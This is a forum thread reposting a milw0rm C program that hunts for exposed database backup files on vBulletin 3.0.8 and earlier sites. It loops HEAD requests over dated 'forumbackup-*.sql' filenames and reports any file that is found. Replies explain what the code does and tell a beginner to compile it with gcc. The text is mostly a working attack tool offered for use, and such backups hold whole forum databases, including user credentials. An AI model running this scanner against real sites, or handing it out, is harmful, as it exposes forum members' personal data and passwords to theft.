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vBulletin <= 3.0.8 Accessible Database Backup Locator
PostPosted: Wed Aug 31, 2005 5:27 pm Reply with quote
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Code:
/*
* Needed to pentest a few vBulletin forums so I wrote this junk real quick.
* Reference: http://securitytracker.com/alerts/2005/Aug/1014805.html
* Good paths: /forum/ / /forum/archive/ /forum/cpadmin/
* Update: Code error fixes.
* /str0ke ! milw0rm.com
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>

#define SERVER_PORT 80

char *getdate(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%m-%d-%Y", localtime(&ttt));
printf("Searching: forumbackup-%s.sql\n", datestring);
return(datestring);
}

char *getdate2(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%Y-%d-%m", localtime(&ttt));
printf("Searching: forumbackup-%s.sql\n", datestring);
return(datestring);
}

char *getdate3(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%d-%m-%Y", localtime(&ttt));
printf("Searching: forumbackup-%s.sql\n", datestring);
return(datestring);
}

main(int argc, char *argv[]) {

char buffer[1000],host[255],path[255],dog[255],c;
int sd, rc, i=0, d=0, b;
struct sockaddr_in localAddr, servAddr;
struct hostent *h;

char *http =
"Accept: */*\r\n"
"Accept-Language: en-us,en;q=0.5\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
"User-Agent: we want your backups - milw0rm\r\n"
"Connection: close\r\n\r\n";

if ( argc != 5) {
printf("vBulletin <= 3.0.8 Accessible Database Backup Searcher /str0ke ! milw0rm.com\n");
printf("usage: %s -h hostname/ip -p /path/ \n",argv[0]);
exit(0);
}


while ((c = getopt (argc, argv, "h:p:")) != EOF)
switch(c)
{
case 'h':
strncpy(host,optarg,sizeof(host));
break;
case 'p':
strncpy(path,optarg,sizeof(path));
break;
}

h = gethostbyname(host);

if(h==NULL) {
printf("Unknown Host '%s'\n",host);
exit(1);
}

printf("Trying To Connect To [%s]\n",host);
while(1){
servAddr.sin_family = h->h_addrtype;
memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
servAddr.sin_port = htons(SERVER_PORT);
sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd<0) {
perror("Can Not Open The Socket\n");
exit(1);
}

localAddr.sin_family = AF_INET;
localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
localAddr.sin_port = htons(0);

rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));

if(rc<0) {
printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT);
perror("error ");
exit(1);
}

rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));

if(rc<0) {
perror("cannot connect\n");
exit(1);
}
memset(buffer,0,sizeof(buffer));

if ( d == 0 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate(i),host,http);
} else if ( d == 1 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate2(i),host,http);
} else if ( d == 2 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate3(i),host,http);
}

rc = send(sd,buffer, strlen(buffer), 0);
memset(buffer,0,sizeof(buffer));

while(1)
{
rc=recv(sd,buffer,sizeof(buffer),0);
if(strstr(buffer,"404")) break;
if(strstr(buffer,"200 OK"))
{
if ( d == 0 ) {
printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate(i));
}
if ( d == 1 ) {
printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate2(i));
}
if ( d == 2 ) {
printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate3(i));
}
exit(0);
}
memset(buffer,0,sizeof(buffer));
}
close(sd);

if ( d < 2 ) {
d++;
} else {
d=0;
i++;
}
}
}

// milw0rm.com [2005-08-31]


Source is of course milw0rm, thought i would post here since some might not read there.
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PostPosted: Wed Nov 22, 2006 4:48 pm Reply with quote
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Can anyone elaborate a little on this cos I've only started to learn php recently Embarassed
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PostPosted: Wed Nov 22, 2006 5:36 pm Reply with quote
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This is not PHP. This C. Razz
It connects to the host, sends HEAD's in a loop to determine any backups of vBulletin.
Any questions?

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PostPosted: Sat Nov 25, 2006 9:00 pm Reply with quote
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Yeah

What do i do with it Confused
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PostPosted: Sun Nov 26, 2006 10:25 am Reply with quote
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You get a linux system or cygwin and type "man gcc" in the shell.

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